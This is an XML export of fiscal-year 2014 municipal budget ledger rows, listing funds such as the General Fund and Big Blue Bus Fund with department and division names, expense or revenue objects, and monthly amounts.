<row _id="13121"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>540.0</total></row>
<row _id="13122"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16085.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16085.0</total></row>
<row _id="13123"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29232.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29232.0</total></row>
<row _id="13124"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533660.0</object><object_description>CONF / MTGS / TRAVEL-SH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4165.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4165.0</total></row>
<row _id="13125"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18143.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18143.0</total></row>
<row _id="13126"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>646.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>646.0</total></row>
<row _id="13127"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13128"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400681.0</object><object_description>EMS REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-889179.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-889179.0</total></row>
<row _id="13129"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>563585.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>563585.0</total></row>
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<row _id="13154"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3021.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3021.0</total></row>
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<row _id="13156"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15566.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>708.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16274.0</total></row>
<row _id="13157"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>640167.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>4167.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>644334.0</total></row>
<row _id="13158"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10406.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>38</december><january>105.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10549.0</total></row>
<row _id="13159"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3762.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>31</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3793.0</total></row>
<row _id="13160"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>522.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>522.0</total></row>
<row _id="13161"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>996.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>996.0</total></row>
<row _id="13162"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8220.0</july><august>0</august><september>0</september><october>0</october><november>-110</november><december>119</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8229.0</total></row>
<row _id="13163"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>60</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3060.0</total></row>
<row _id="13164"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>826.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>826.0</total></row>
<row _id="13165"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>252</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>252.0</total></row>
<row _id="13166"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3002.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>292</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3294.0</total></row>
<row _id="13167"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>822.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>822.0</total></row>
<row _id="13168"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1345.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1345.0</total></row>
<row _id="13169"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2213.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2213.0</total></row>
<row _id="13170"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1144.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1144.0</total></row>
<row _id="13171"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3394.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3394.0</total></row>
<row _id="13172"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3283.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>36</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3319.0</total></row>
<row _id="13173"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="13174"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>618.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>618.0</total></row>
<row _id="13175"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6001.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>38</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6039.0</total></row>
<row _id="13176"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7863.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7863.0</total></row>
<row _id="13177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8649.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>112</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8761.0</total></row>
<row _id="13178"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4918.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>68</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4986.0</total></row>
<row _id="13179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72760.0</july><august>0</august><september>0</september><october>0</october><november>3141</november><december>1414</december><january>-105.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77210.0</total></row>
<row _id="13180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11820.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>79.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11899.0</total></row>
<row _id="13181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28104.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>375</december><january>256.15</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28735.15</total></row>
<row _id="13182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1188.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1188.0</total></row>
<row _id="13183"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4584.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4584.0</total></row>
<row _id="13184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>21504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21504.0</total></row>
<row _id="13185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>880.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>880.0</total></row>
<row _id="13186"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3932.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>51</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3983.0</total></row>
<row _id="13187"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>78137.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>78137.0</total></row>
<row _id="13188"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>40283.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40283.0</total></row>
<row _id="13189"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>599037.0</june><total>599037.0</total></row>
<row _id="13190"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>170442.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>1973</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>172415.0</total></row>
<row _id="13191"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>515.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>515.0</total></row>
<row _id="13192"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2246.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2246.0</total></row>
<row _id="13193"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>73308.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>1269</december><january>425.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75002.0</total></row>
